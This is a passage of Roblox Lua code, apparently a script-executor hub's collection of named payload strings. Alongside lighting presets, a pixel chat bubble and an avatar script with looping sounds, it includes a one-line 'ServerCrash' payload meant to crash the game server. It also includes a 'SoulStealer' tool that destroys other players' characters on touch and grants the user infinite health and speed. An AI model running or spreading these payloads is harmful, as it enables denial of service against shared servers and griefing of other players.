- game:service'Lighting'.Brightness = 1
- game:service'Lighting'.Ambient = Color3.new()
- game:service'Lighting'.GlobalShadows = true
- game:service'Lighting'.GeographicLatitude = 41.733
- game:service'Lighting'.FogEnd = 100000
- game:service'Lighting'.FogColor = Color3.new(192/255, 192/255, 192/255)
- game:service'Lighting'.ShadowColor = Color3.new(179/255, 179/255, 184/255)]]
- Morning = [[game:service'Lighting'.TimeOfDay = 7
- game:service'Lighting'.OutdoorAmbient = Color3.new(128/255, 128/255, 128/255)
- game:service'Lighting'.Brightness = 1
- game:service'Lighting'.Ambient = Color3.new()
- game:service'Lighting'.GlobalShadows = true
- game:service'Lighting'.GeographicLatitude = 41.733
- game:service'Lighting'.FogEnd = 100000
- game:service'Lighting'.FogColor = Color3.new(192/255, 192/255, 192/255)
- game:service'Lighting'.ShadowColor = Color3.new(179/255, 179/255, 184/255)]]
- Night = [[game:service'Lighting'.TimeOfDay = 0
- game:service'Lighting'.OutdoorAmbient = Color3.new(0.1, 0.1, 0.15)
- game:service'Lighting'.Brightness = 1
- game:service'Lighting'.Ambient = Color3.new()
- game:service'Lighting'.GlobalShadows = true
- game:service'Lighting'.GeographicLatitude = 41.733
- game:service'Lighting'.FogEnd = 100000
- game:service'Lighting'.FogColor = Color3.new()
- game:service'Lighting'.ShadowColor = Color3.new(179/255, 179/255, 184/255)]]
- ServerCrash = [[Instance.new("ManualSurfaceJointInstance", game.Workspace)
- ]]
- PixelChatSource = [[
- wait(0.001)
- script:ClearAllChildren();
- script.Parent=nil;
- wait(1)
- LocalPlayer = game:service'Players'.LocalPlayer
- Letters = {"00000000000000000000000000000000000","01000010000100001000010000000001000","10100101000000000000000000000000000","00000010101111101010111110101000000","00100111111010011111001011111100100","00000000001100111010001000101110011","00100010100101001010011011001001101","00100001000000000000000000000000000","00010001000100001000010000010000010","01000001000001000010000100010001000","00100011100010000000000000000000000","00000001000010011111001000010000000","00000000000000000000110001100001000","00000000000000000000011100000000000","00000000000000000000000001100011000","00000000100001000100001000100001000","01110100011001110101110011000101110","00100011000010000100001000010011111","01110100010000100110010001000111111","01110100010000100110000011000101110","00011001010100110001111110000100001","11111100001111000001000011000101110","00110010001000011110100011000101110","11111100010000100010001000010000100","01110100011000101110100011000101110","01110100011000101111000010001001100","00000000000110001100000000110001100","00000011000110000000011000110000100","00010001000100010000010000010000010","00000000001111100000111110000000000","01000001000001000001000100010001000","01110100010000100010001000000000100","01110100011011110101101111000001111","01110100011111110001100011000110001","11110100011111010001100011000111110","01110100011000010000100001000101110","11110100011000110001100011000111110","11111100001110010000100001000011111","11111100001110010000100001000010000","01111100001001110001100011000101110","10001100011111110001100011000110001","01110001000010000100001000010001110","00001000010000100001000011000101110","10010101001100011000101001001010010","10000100001000010000100001000011111","10001110111010110001100011000110001","10001110011010110011100011000110001","01110100011000110001100011000101110","11110100011111010000101001000010000","01110100011000110001100011001001101","11110100011111010001100011000110001","01111100000111000001000011000101110","11111001000010000100001000010000100","10001100011000110001100011000101110","10001100011000110001010100101000100","10001100011000110001101011101110001","10001010100010001010100011000110001","10001010100010000100001000010000100","11111000010001000100010001000011111","01110010000100001000010000100001110","00000010000100000100001000001000010","01110000100001000010000100001001110","00000001000101000000000000000000000","00000000000000000000000000000011111","01000001000000000000000000000000000","00000000000111000001011111000101111","10000100001011011001100011000111110","00000000000111010001100001000101110","00001000010110110011100011000101111","00000000000111010001111111000001111","00011001000111100100001000010000100","00000000000111110001011110000111110","10000100001011011001100011000110001","00100000000010000100001000010000100","00001000000000100001100011000101110","10000100001001010100110001010010010","00100001000010000100001000010000010","00000000001101010101101011000110001","00000000001111010001100011000110001","00000000000111010001100011000101110","00000000001011011001111101000010000","00000000000110110011011110000100001","00000000001011011001100001000010000","00000000000111110000011100000111110","00100001000111000100001000010000010","00000000001000110001100011000101111","00000000001000110001100010101000100","00000000001000110001101011010101111","00000000001000101010001000101010001","00000000001000110001011110000111110","00000000001111100010001000100011111","00010001000010001000001000010000010","10000100001000010000100001000010000","01000001000010000010001000010001000","00000000000000000010101010100000000"}
- DeModel = Instance.new("BillboardGui", workspace:findFirstChild(LocalPlayer.Name))
- DeModel.StudsOffset = Vector3.new(0,2.5,0)
- DeModel.Name = ":D"
- FR = Instance.new("Frame",DeModel)
- FR.Size=UDim2.new(1,0,1,0)
- FR.BackgroundColor3=BrickColor.new("Institutional white").Color
- FR.BorderSizePixel=0
- FR.ZIndex=2
- CurrParent = workspace:findFirstChild(LocalPlayer.Name).Head
- game:service'RunService'.RenderStepped:connect(function()
- pcall(function()
- local a = workspace:findFirstChild(LocalPlayer.Name)
- if a.ClassName == 'Part' then
- CurrParent = a
- else
- CurrParent = a:findFirstChild'Head'
- end
- end)
- if DeModel.Parent ~= CurrParent or DeModel == nil or FR.Parent ~= DeModel or FR == nil then
- pcall(function()
- if CurrParent.ClassName == 'Part' then
- DeModel = Instance.new("BillboardGui", CurrParent)
- DeModel.Adornee = CurrParent
- DeModel.StudsOffset = Vector3.new(0,2.5,0)
- DeModel.Name = ":D"
- FR = Instance.new("Frame",DeModel)
- FR.Size=UDim2.new(1,0,1,0)
- FR.BackgroundColor3=BrickColor.new("Institutional white").Color
- FR.BorderSizePixel=0
- FR.ZIndex=2
- end
- end)
- end
- end)
- function CreateLetter(what, pos, posy, cl)
- pcall(function()
- if cl == nil then cl = "Really black" end
- if Letters[what:byte()-31] then
- what = Letters[what:byte()-31]
- else
- what = Letters[1]
- end
- if type(what) ~= "string" then return end
- what = what:gsub('\n','')
- what = what:gsub('\t','')
- what = what:gsub(' ','')
- pos = pos * 2
- posy = posy * 2
- c = 0
- for y=1,7 do
- for x=1,5 do
- c = c + 1
- if what:sub(c, c) == "1" then
- local a = Instance.new("Frame", FR)
- a.Name = "L"
- a.ZIndex=3
- a.Size = UDim2.new(0,2,0,2)
- a.BorderSizePixel = 0
- a.BackgroundTransparency = 1
- a.BackgroundColor3 = BrickColor.new(cl).Color
- a.Position = UDim2.new(0,((x+1)*2)+pos,0,(y*2)+posy)
- coroutine.wrap(function()
- wait(math.random(1, 10)/50)
- a.BackgroundTransparency = 0
- end)()
- end
- end
- end
- end)
- end
- LocalPlayer.Chatted:connect(function(m)
- pcall(function()
- local cl = "Really black"
- for _,v in pairs(DeModel.Frame:children()) do
- v:Destroy()
- end
- if m:sub(1,2) == '/e' then return end
- if m:sub(1,3) == "/! " then
- m = m:sub(4)
- DeModel.Frame.BackgroundColor3 = BrickColor.new("Really black").Color
- cl = "Really red"
- else
- DeModel.Frame.BackgroundColor3 = BrickColor.new("Institutional white").Color
- end
- m1 = m:gsub("\n"," ")
- m1 = m1:gsub("\t"," ")
- m1 = m1:gsub("math.pi",tostring(math.pi))
- if #m1 <= 30 then
- DeModel.Size = UDim2.new(0,(30+(#m1*10)),0,20)
- elseif #m1 <= 60 then
- DeModel.Size = UDim2.new(0,330,0,40)
- elseif #m1 <= 90 then
- DeModel.Size = UDim2.new(0,330,0,60)
- elseif #m1 > 90 then
- DeModel.Size = UDim2.new(0,340,0,60)
- m1 = m1:sub(1,90).."..."
- end
- coroutine.wrap(function()
- for i = 1,0,-1/#m1 do
- DeModel.Frame.Transparency = i
- wait(1/60)
- end
- end)()
- if #m1 < 30 then
- for i = 1,#m1 do
- CreateLetter(m1:sub(i,i),i*5,0,cl)
- wait(1/60)
- end
- elseif #m1 <= 60 then
- for i = 1,30 do
- CreateLetter(m1:sub(i,i),i*5,0,cl)
- wait(1/60)
- end
- for i = 31,#m1 do
- CreateLetter(m1:sub(i,i),(i-30)*5,10,cl)
- wait(1/60)
- end
- elseif #m1 >= 60 then
- for i = 1,30 do
- CreateLetter(m1:sub(i,i),i*5,0,cl)
- wait(1/60)
- end
- for i = 31,60 do
- CreateLetter(m1:sub(i,i),(i-30)*5,10,cl)
- wait(1/60)
- end
- for i = 61,#m1 do
- CreateLetter(m1:sub(i,i),(i-60)*5,20,cl)
- wait(1/60)
- end
- end
- end)
- end)
- ]]
- SoulStealer = [[
- Instance.new("HopperBin",game.Players.LocalPlayer.Backpack).Name = "Soul Stealer"
- script.Parent = game.Players.LocalPlayer.Backpack:findFirstChild"Soul Stealer"
- local char = script.Parent.Parent.Parent.Character
- local humanoid = char.Humanoid
- local Head = char.Head
- local Torso = char.Torso
- local LeftArm = char["Left Arm"]
- local RightArm = char["Right Arm"]
- local LeftLeg = char["Left Leg"]
- local RightLeg = char["Right Leg"]
- local RightHip = Torso["Right Hip"]
- local LeftHip = Torso["Left Hip"]
- local Neck = Torso.Neck
- local RightShoulder = Torso["Right Shoulder"]
- local LeftShoulder = Torso["Left Shoulder"]
- local NeckC0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
- local NeckC1 = CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
- local LeftShoulderC0 = CFrame.new(-1, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- local LeftShoulderC1 = CFrame.new(0.5, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- local RightShoulderC0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
- local RightShoulderC1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
- local LeftHipC0 = CFrame.new(-1, -1, 0, 0, 0, -1,0,1, 0, 1, 0, 0)
- local LeftHipC1 = CFrame.new(-0.5,1,0,0,0,-1,0,1,0,1, 0, 0)
- local RightHipC0 = CFrame.new(1,-1,0,0,0,1,0,1,0,-1,0,0)
- local RightHipC1 = CFrame.new(0.5,1,0,0,0,1,0,1,0,-1,0,0)
- local rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
- local rootpart = char:findFirstChild("HumanoidRootPart")
- spirit = false
- Instance.new("HumanoidController", game:service'ControllerService')
- Instance.new("SkateboardController", game:service'ControllerService')
- Instance.new("VehicleController", game:service'ControllerService')
- local Colors = {"White","Really black","Lavender","Bright bluish green"}
- Head.Transparency = 0.5
- Head.Reflectance = 0.5
- Torso.Transparency = 0.5
- Torso.Reflectance = 0.5
- RightLeg.Transparency = 0.5
- RightLeg.Reflectance = 0.5
- LeftArm.Transparency = 0.5
- LeftArm.Reflectance = 0.5
- RightArm.Transparency = 0.5
- RightArm.Reflectance = 0.5
- LeftLeg.Transparency = 0.5
- LeftLeg.Reflectance = 0.5
- Head.Touched:connect(function(hit)
- if hit.Parent:findFirstChild("Humanoid")then
- game:GetService("Chat"):Chat(Head,"Oh hey there.Hug?",0)
- for i,v in pairs(hit.Parent:GetChildren())do
- if v:IsA"Humanoid" then
- game:GetService("Chat"):Chat(Head,"I've taken your soul.",0)
- v:Destroy()
- elseif v:IsA"Part" then
- game:GetService("Chat"):Chat(v.Parent.Head,"AHHHHHH!!!",2)
- v.Velocity = v.Position * Vector3.new(50,3,0)
- v.RotVelocity = v.Position - v.Velocity
- v:Remove()
- end end end
- end)
- Torso.Touched:connect(function(hit)
- if hit.Parent:findFirstChild("Humanoid")then
- game:GetService("Chat"):Chat(Head,"Hello sir,Want a friendly hug?",0)
- for i,v in pairs(hit.Parent:GetChildren())do
- if v:IsA"Humanoid" then
- game:GetService("Chat"):Chat(Head,"That was too easy.",0)
- v:Destroy()
- elseif v:IsA"Part" then
- game:GetService("Chat"):Chat(v.Parent.Head,"UGH!",2)
- v.Velocity = v.Position * Vector3.new(50,3,0)
- v.RotVelocity = v.Position - v.Velocity
- v:Remove()
- end end end
- end)
- RightArm.Touched:connect(function(hit)
- game:GetService("Chat"):Chat(Head,"I've taken your life.",0)
- if hit.Parent:findFirstChild("Humanoid")then
- for i,v in pairs(hit.Parent:GetChildren())do
- if v:IsA"Humanoid" then
- game:GetService("Chat"):Chat(Head,"Now i break your bones.",0)
- v:Destroy()
- elseif v:IsA"Part" then
- game:GetService("Chat"):Chat(v.Parent.Head,"AH!MY BONES!",2)
- v.Velocity = v.Position * Vector3.new(50,3,0)
- v.RotVelocity = v.Position - v.Velocity
- v:Remove()
- end end end
- end)
- LeftArm.Touched:connect(function(hit)
- game:GetService("Chat"):Chat(Head,"I've crushed you.",0)
- if hit.Parent:findFirstChild("Humanoid")then
- for i,v in pairs(hit.Parent:GetChildren())do
- if v:IsA"Humanoid" then
- game:GetService("Chat"):Chat(Head,"Ahhilated.",0)
- v:Destroy()
- elseif v:IsA"Part" then
- game:GetService("Chat"):Chat(v.Parent.Head,"AOUGH!",2)
- v.Velocity = v.Position * Vector3.new(50,3,0)
- v.RotVelocity = v.Position - v.Velocity
- v:Remove()
- end end end
- end)
- LeftLeg.Touched:connect(function(hit)
- if hit.Parent:findFirstChild("Humanoid")then
- for i,v in pairs(hit.Parent:GetChildren())do
- if v:IsA"Humanoid" then
- game:GetService("Chat"):Chat(Head,"Cool.",0)
- v:Destroy()
- elseif v:IsA"Part" then
- v.Velocity = v.Position * Vector3.new(50,3,0)
- v.RotVelocity = v.Position - v.Velocity
- v.Transparency = 0.5
- end end end
- end)
- RightLeg.Touched:connect(function(hit)
- if hit.Parent:findFirstChild("Humanoid")then
- for i,v in pairs(hit.Parent:GetChildren())do
- if v:IsA"Humanoid" then
- v:Destroy()
- elseif v:IsA"Part" then
- v.Velocity = v.Position * Vector3.new(50,3,0)
- v.RotVelocity = v.Position - v.Velocity
- v.Transparency = 0.5
- end end end
- end)
- humanoid.Died:connect(function()
- game:GetService("Chat"):Chat(Head,"NO!THIS IS IMPOSSIBLE!NOOOOO!",2)
- for cframe_parts = 0, 100 do
- local p = Instance.new("Part")
- p.FormFactor = "Custom"
- p.BrickColor = BrickColor.new(Colors[math.random(1, #Colors)])
- p.Size = Vector3.new(1, 1, 1)
- Instance.new("BlockMesh", p).Scale = Vector3.new(0.05, 0.05, 0.05)
- p.Locked = true
- p.CanCollide = false
- p.Anchored = true
- p.CFrame = Torso.CFrame * CFrame.Angles(math.random(-50, 50),math.random(-50, 50),math.random(-50, 50))
- p.Parent = workspace
- local box = Instance.new("SelectionBox", p)
- box.Color = BrickColor.new(Colors[math.random(1, #Colors)])
- box.Adornee = p
- box.Transparency = 0.5
- box.Visible = true
- local spirit = Instance.new("Fire", p)
- spirit.Color = Color3.new(0,0,0)
- spirit.Enabled = true
- spirit.Heat = 10
- spirit.SecondaryColor = Color3.new(255,255,255)
- spirit.Size = 5
- game:service'Debris':AddItem(p, 5)
- coroutine.wrap(function()
- while wait() do
- if p ~= nil then
- p.CFrame = p.CFrame * CFrame.new(0, 0.085, 0)
- p.Mesh.Scale = p.Mesh.Scale - Vector3.new(0.005, 0, 0.005) + Vector3.new(0, 0.01, 0)
- p.Transparency = p.Transparency + 0.015
- else
- break
- end
- end
- end)()
- end
- for _,v in pairs(char:children()) do
- if v:IsA("Part") then
- v:Destroy()
- end
- end
- end)
- local function Button1Down(mouse)
- game:GetService("Chat"):Chat(Head,"NOW PERISH!SPIRIT MODE ACTIVATE!",2)
- if spirit == false then
- spirit = true
- RightArm.Transparency = 1
- LeftArm.Transparency = 1
- RightLeg.Transparency = 1
- LeftLeg.Transparency = 1
- Head.Transparency = 1
- Torso.Transparency = 1
- local protect = Instance.new("ForceField", char)
- protect.Archivable = true
- local spirit = Instance.new("Fire", char.Torso)
- spirit.Color = Color3.new(0,0,0)
- spirit.Enabled = true
- spirit.Heat = 10
- spirit.SecondaryColor = Color3.new(255,255,255)
- spirit.Size = 5
- humanoid.MaxHealth = math.huge
- wait()
- humanoid.WalkSpeed = 100
- wait(20)
- spirit = false
- game:GetService("Chat"):Chat(Head,"Have you gotten enough?No? Ok.",1)
- RightArm.Transparency = 0.5
- LeftArm.Transparency = 0.5
- RightLeg.Transparency = 0.5
- LeftLeg.Transparency = 0.5
- Head.Transparency = 0.5
- Torso.Transparency = 0.5
- char.Torso.Fire:Remove()
- humanoid.Health = 100
- humanoid.WalkSpeed = 16
- char.Head.face:Remove()
- char.ForceField:Remove()
- char.Pants:Remove()
- char.Shirt:Remove()
- end
- end
- script.Parent.Selected:connect(function(mouse)mouse.Button1Down:connect(function(mouse)Button1Down(mouse)end)end)]]
- SoulSparer = [[
- Instance.new("HopperBin",game.Players.LocalPlayer.Backpack).Name = "Soul Sparer"
- script.Parent = game.Players.LocalPlayer.Backpack:findFirstChild"Soul Sparer"
- local char = script.Parent.Parent.Parent.Character
- local humanoid = char.Humanoid
- local Head = char.Head
- local Torso = char.Torso
- local LeftArm = char["Left Arm"]
- local RightArm = char["Right Arm"]
- local LeftLeg = char["Left Leg"]
- local RightLeg = char["Right Leg"]
- local RightHip = Torso["Right Hip"]
- local LeftHip = Torso["Left Hip"]
- local Neck = Torso.Neck
- local RightShoulder = Torso["Right Shoulder"]
- local LeftShoulder = Torso["Left Shoulder"]
- local NeckC0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
- local NeckC1 = CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
- local LeftShoulderC0 = CFrame.new(-1, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- local LeftShoulderC1 = CFrame.new(0.5, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- local RightShoulderC0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
- local RightShoulderC1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
- local LeftHipC0 = CFrame.new(-1, -1, 0, 0, 0, -1,0,1, 0, 1, 0, 0)
- local LeftHipC1 = CFrame.new(-0.5,1,0,0,0,-1,0,1,0,1, 0, 0)
- local RightHipC0 = CFrame.new(1,-1,0,0,0,1,0,1,0,-1,0,0)
- local RightHipC1 = CFrame.new(0.5,1,0,0,0,1,0,1,0,-1,0,0)
- spirit = false
- local rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
- local rootpart = char:findFirstChild("HumanoidRootPart")
- spirit = false
- Instance.new("HumanoidController", game:service'ControllerService')
- Instance.new("SkateboardController", game:service'ControllerService')
- Instance.new("VehicleController", game:service'ControllerService')
- local Colors = {"White","Really blue","Really red","New Yeller","Lavender","Bright bluish green"}
- Head.Touched:connect(function(hit)
- if not hit.Parent:findFirstChild("Humanoid")then
- game:GetService("Chat"):Chat(Head,"I'll give you a life.",0)
- local pie = Instance.new("Humanoid", hit.Parent)
- pie.Health = 0
- for i,v in pairs(hit.Parent:GetChildren())do
- if v:IsA"Humanoid" then
- game:GetService("Chat"):Chat(Head,"I've made you reborn.",0)
- elseif v:IsA"Part" then
- game:GetService("Chat"):Chat(v.Parent.Head,"Yay!",1)
- v.Velocity = v.Position * Vector3.new(50,3,0)
- v.RotVelocity = v.Position - v.Velocity
- v:MakeJoints()
- end end end
- end)
- Torso.Touched:connect(function(hit)
- if not hit.Parent:findFirstChild("Humanoid")then
- game:GetService("Chat"):Chat(Head,"I'll give you a heart.",0)
- local pie = Instance.new("Humanoid", hit.Parent)
- pie.Health = 0
- for i,v in pairs(hit.Parent:GetChildren())do
- if v:IsA"Humanoid" then
- game:GetService("Chat"):Chat(Head,"I've recreated you.",0)
- elseif v:IsA"Part" then
- game:GetService("Chat"):Chat(v.Parent.Head,"Thank you!",1)
- v.Velocity = v.Position * Vector3.new(50,3,0)
- v.RotVelocity = v.Position - v.Velocity
- v:MakeJoints()
- end end end
- end)
- LeftLeg.Touched:connect(function(hit)
- if not hit.Parent:findFirstChild("Humanoid")then
- game:GetService("Chat"):Chat(Head,"Here is a life.",0)
- local pie = Instance.new("Humanoid", hit.Parent)
- pie.Health = 0
- for i,v in pairs(hit.Parent:GetChildren())do
- if v:IsA"Humanoid" then
- game:GetService("Chat"):Chat(Head,"I've given you a new life.",0)
- elseif v:IsA"Part" then
- game:GetService("Chat"):Chat(v.Parent.Head,"Yess!",1)
- v.Velocity = v.Position * Vector3.new(50,3,0)
- v.RotVelocity = v.Position - v.Velocity
- v:MakeJoints()
- end end end
- end)
- RightLeg.Touched:connect(function(hit)
- if not hit.Parent:findFirstChild("Humanoid")then
- game:GetService("Chat"):Chat(Head,"Here poor one.",0)
- local pie = Instance.new("Humanoid", hit.Parent)
- pie.Health = 0
- for i,v in pairs(hit.Parent:GetChildren())do
- if v:IsA"Humanoid" then
- game:GetService("Chat"):Chat(Head,"Here.",0)
- elseif v:IsA"Part" then
- game:GetService("Chat"):Chat(v.Parent.Head,"Omg thank you!",1)
- v.Velocity = v.Position * Vector3.new(50,3,0)
- v.RotVelocity = v.Position - v.Velocity
- v:MakeJoints()
- end end end
- end)
- LeftArm.Touched:connect(function(hit)
- if not hit.Parent:findFirstChild("Humanoid")then
- game:GetService("Chat"):Chat(Head,"Here you go.",0)
- local pie = Instance.new("Humanoid", hit.Parent)
- pie.Health = 0
- for i,v in pairs(hit.Parent:GetChildren())do
- if v:IsA"Humanoid" then
- game:GetService("Chat"):Chat(Head,"A spare life.",0)
- elseif v:IsA"Part" then
- game:GetService("Chat"):Chat(v.Parent.Head,"Hippe!",1)
- v.Velocity = v.Position * Vector3.new(50,3,0)
- v.RotVelocity = v.Position - v.Velocity
- v:MakeJoints()
- end end end
- end)
- RightArm.Touched:connect(function(hit)
- if not hit.Parent:findFirstChild("Humanoid")then
- game:GetService("Chat"):Chat(Head,"I'll create a spare life.",0)
- local pie = Instance.new("Humanoid", hit.Parent)
- pie.Health = 0
- for i,v in pairs(hit.Parent:GetChildren())do
- if v:IsA"Humanoid" then
- game:GetService("Chat"):Chat(Head,"Here,a created life.",0)
- elseif v:IsA"Part" then
- game:GetService("Chat"):Chat(v.Parent.Head,"Thank you!",1)
- v.Velocity = v.Position * Vector3.new(50,3,0)
- v.RotVelocity = v.Position - v.Velocity
- v:MakeJoints()
- end end end
- end)
- humanoid.Died:connect(function()
- game:GetService("Chat"):Chat(Head,"I'm sorry,I have failed.",2)
- for cframe_parts = 0, 100 do
- local p = Instance.new("Part")
- p.FormFactor = "Custom"
- p.BrickColor = BrickColor.new(Colors[math.random(1, #Colors)])
- p.Size = Vector3.new(1, 1, 1)
- Instance.new("BlockMesh", p).Scale = Vector3.new(0.05, 0.05, 0.05)
- p.Locked = true
- p.CanCollide = false
- p.Anchored = true
- p.CFrame = Torso.CFrame * CFrame.Angles(math.random(-50, 50),math.random(-50, 50),math.random(-50, 50))
- p.Parent = workspace
- local box = Instance.new("SelectionBox", p)
- box.Color = BrickColor.new(Colors[math.random(1, #Colors)])
- box.Adornee = p
- box.Transparency = 0.5
- box.Visible = true
- local spirit = Instance.new("Fire", p)
- spirit.Color = Color3.new(255,255,255)
- spirit.Enabled = true
- spirit.Heat = 10
- spirit.SecondaryColor = Color3.new(0,0,0)
- spirit.Size = 5
- game:service'Debris':AddItem(p, 5)
- coroutine.wrap(function()
- while wait() do
- if p ~= nil then
- p.CFrame = p.CFrame * CFrame.new(0, 0.085, 0)
- p.Mesh.Scale = p.Mesh.Scale - Vector3.new(0.005, 0, 0.005) + Vector3.new(0, 0.01, 0)
- p.Transparency = p.Transparency + 0.015
- else
- break
- end
- end
- end)()
- end
- for _,v in pairs(char:children()) do
- if v:IsA("Part") then
- v:Destroy()
- end
- end
- end)
- local function Button1Down(mouse)
- game:GetService("Chat"):Chat(Head,"I shall spare all life.",1)
- if spirit == false then
- spirit = true
- RightArm.Transparency = 1
- LeftArm.Transparency = 1
- RightLeg.Transparency = 1
- LeftLeg.Transparency = 1
- Head.Transparency = 1
- Torso.Transparency = 1
- local protect = Instance.new("ForceField", char)
- protect.Archivable = true
- local spirit = Instance.new("Fire", char.Torso)
- spirit.Color = Color3.new(255,255,255)
- spirit.Enabled = true
- spirit.Heat = 10
- spirit.SecondaryColor = Color3.new(0,0,0)
- spirit.Size = 5
- humanoid.MaxHealth = math.huge
- wait()
- humanoid.WalkSpeed = 100
- wait(20)
- spirit = false
- game:GetService("Chat"):Chat(Head,"I will continue to spare souls.",1)
- RightArm.Transparency = 0
- LeftArm.Transparency = 0
- RightLeg.Transparency = 0
- LeftLeg.Transparency = 0
- Head.Transparency = 0
- Torso.Transparency = 0
- char.Torso.Fire:Remove()
- humanoid.Health = 100
- humanoid.WalkSpeed = 16
- char.Head.face:Remove()
- char.ForceField:Remove()
- char.Pants:Remove()
- char.Shirt:Remove()
- end
- end
- script.Parent.Selected:connect(function(mouse)mouse.Button1Down:connect(function(mouse)Button1Down(mouse)end)end)]]
- MiniPeep = [[
- local ran,err = ypcall(function()
- plr = game:service'Players'.LocalPlayer
- char = plr.Character
- mouse = plr:GetMouse()
- humanoid = char:findFirstChild("Humanoid")
- torso = char:findFirstChild("Torso")
- head = char.Head
- ra = char:findFirstChild("Right Arm")
- la = char:findFirstChild("Left Arm")
- rl = char:findFirstChild("Right Leg")
- ll = char:findFirstChild("Left Leg")
- rs = torso:findFirstChild("Right Shoulder")
- ls = torso:findFirstChild("Left Shoulder")
- rh = torso:findFirstChild("Right Hip")
- lh = torso:findFirstChild("Left Hip")
- neck = torso:findFirstChild("Neck")
- rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
- anim = char:findFirstChild("Animate")
- rootpart = char:findFirstChild("HumanoidRootPart")
- camera = workspace.CurrentCamera
- if anim then
- anim:Destroy()
- end
- rj.C0 = CFrame.new()
- rj.C1 = CFrame.new()
- super_annoying = Instance.new("Sound", head)
- super_annoying.SoundId = "http://www.roblox.com/asset/?id=149613358"
- super_annoying.Volume = 1
- super_annoying.Looped = true
- uni = Instance.new("Sound", head)
- uni.SoundId = "http://www.roblox.com/asset/?id=141444871"
- uni.Volume = 1
- uni.Looped = true
- ann = Instance.new("Sound", head)
- ann.SoundId = "http://www.roblox.com/asset/?id=130808056"
- ann.Volume = 1
- ann.Looped = true
- fwutters = Instance.new("Sound", head)
- fwutters.SoundId = "http://www.roblox.com/asset/?id=148896355"
- fwutters.Volume = 1
- fwutters.Looped = true
- Cobalt1164l = Instance.new("Sound", head)
- Cobalt1164l.SoundId = "http://www.roblox.com/asset/?id=130803007"
- Cobalt1164l.Volume = 1
- Cobalt1164l.Looped = true
- land_of_swords = Instance.new("Sound", head)
- land_of_swords.SoundId = "http://www.roblox.com/asset/?id=142357253"
- land_of_swords.Volume = 1
- land_of_swords.Looped = true
- qq = Instance.new("Sound", head)
- qq.SoundId = "http://www.roblox.com/asset/?id=142295308"
- qq.Volume = 1
- qq.Looped = true
- doge = Instance.new("Sound", head)
- doge.SoundId = "http://www.roblox.com/asset/?id=138213729"
- doge.Volume = 1
- doge.Looped = true
- nyan = Instance.new("Sound", head)
- nyan.SoundId = "http://www.roblox.com/asset/?id=142332086"
- nyan.Volume = 1
- nyan.Looped = true
- sctmn = Instance.new("Sound", head)
- sctmn.SoundId = "http://www.roblox.com/asset/?id=143620887"
- sctmn.Volume = 1
- sctmn.Looped = true
- barrel_roll = Instance.new("Sound", head)
- barrel_roll.SoundId = "http://www.roblox.com/asset/?id=130791919"
- barrel_roll.Volume = 1
- barrel_roll.Looped = true
- dubstep_gun = Instance.new("Sound", head)
- dubstep_gun.SoundId = "http://www.roblox.com/asset/?id=147096633"
- dubstep_gun.Volume = 1
- dubstep_gun.Looped = true
- you_are_pirate = Instance.new("Sound", head)
- you_are_pirate.SoundId = "http://www.roblox.com/asset/?id=130888577"
- you_are_pirate.Volume = 1
- you_are_pirate.Looped = true
- cant_touch = Instance.new("Sound", head)
- cant_touch.SoundId = "http://www.roblox.com/asset/?id=131280929"
- cant_touch.Volume = 1
- cant_touch.Looped = true
- gangy_style = Instance.new("Sound", head)
- gangy_style.SoundId = "http://www.roblox.com/asset/?id=130844430"
- gangy_style.Volume = 1
- gangy_style.Looped = true
- fox_say = Instance.new("Sound", head)
- fox_say.SoundId = "http://www.roblox.com/asset/?id=143110546"
- fox_say.Volume = 1
- fox_say.Looped = true
- durk = Instance.new("Sound", head)
- durk.SoundId = "http://www.roblox.com/asset/?id=142376365"
- durk.Volume = 1
- durk.Looped = true
- sax_guy = Instance.new("Sound", head)
- sax_guy.SoundId = "http://www.roblox.com/asset/?id=130794684"
- sax_guy.Volume = 1
- sax_guy.Looped = true
- heman = Instance.new("Sound", head)
- heman.SoundId = "http://www.roblox.com/asset/?id=131102548"
- heman.Volume = 1
- heman.Looped = true
- justin = Instance.new("Sound", head)
- justin.SoundId = "http://www.roblox.com/asset/?id=138154702"
- justin.Volume = 1
- justin.Looped = true
- brony_music = Instance.new("Sound", head)
- brony_music.SoundId = "http://www.roblox.com/asset/?id=143768403"
- brony_music.Volume = 1
- brony_music.Looped = true
- spitfire = Instance.new("Sound", head)
- spitfire.SoundId = "http://www.roblox.com/asset/?id=130776739"
- spitfire.Volume = 1
- spitfire.Looped = true
- burn_dem = Instance.new("Sound", head)
- burn_dem.SoundId = "http://www.roblox.com/asset/?id=132399469"
- burn_dem.Volume = 1
- burn_dem.Looped = true
- cant = Instance.new("Sound", head)
- cant.SoundId = "http://www.roblox.com/asset/?id=131122314"
- cant.Volume = 1
- cant.Looped = true
- if char:findFirstChild("Shirt") then
- char:findFirstChild("Shirt"):Destroy()
- end
- if char:findFirstChild("Pants") then
- char:findFirstChild("Pants"):Destroy()
- end
- if char:findFirstChild("Shirt Graphic") then
- char:findFirstChild("Shirt Graphic"):Destroy()
- end
- Instance.new("HumanoidController", game:service'ControllerService')
- Instance.new("SkateboardController", game:service'ControllerService')
- Instance.new("VehicleController", game:service'ControllerService')
- rh.Parent = nil
- lh.Parent = nil
- rs.Parent = nil
- ls.Parent = nil
- neck.Parent = nil
- rj.Parent = nil
- rl.FormFactor = "Custom"
- ll.FormFactor = "Custom"
- ra.FormFactor = "Custom"
- la.FormFactor = "Custom"
- torso.FormFactor = "Custom"
- head.FormFactor = "Custom"
- rootpart.FormFactor = "Custom"
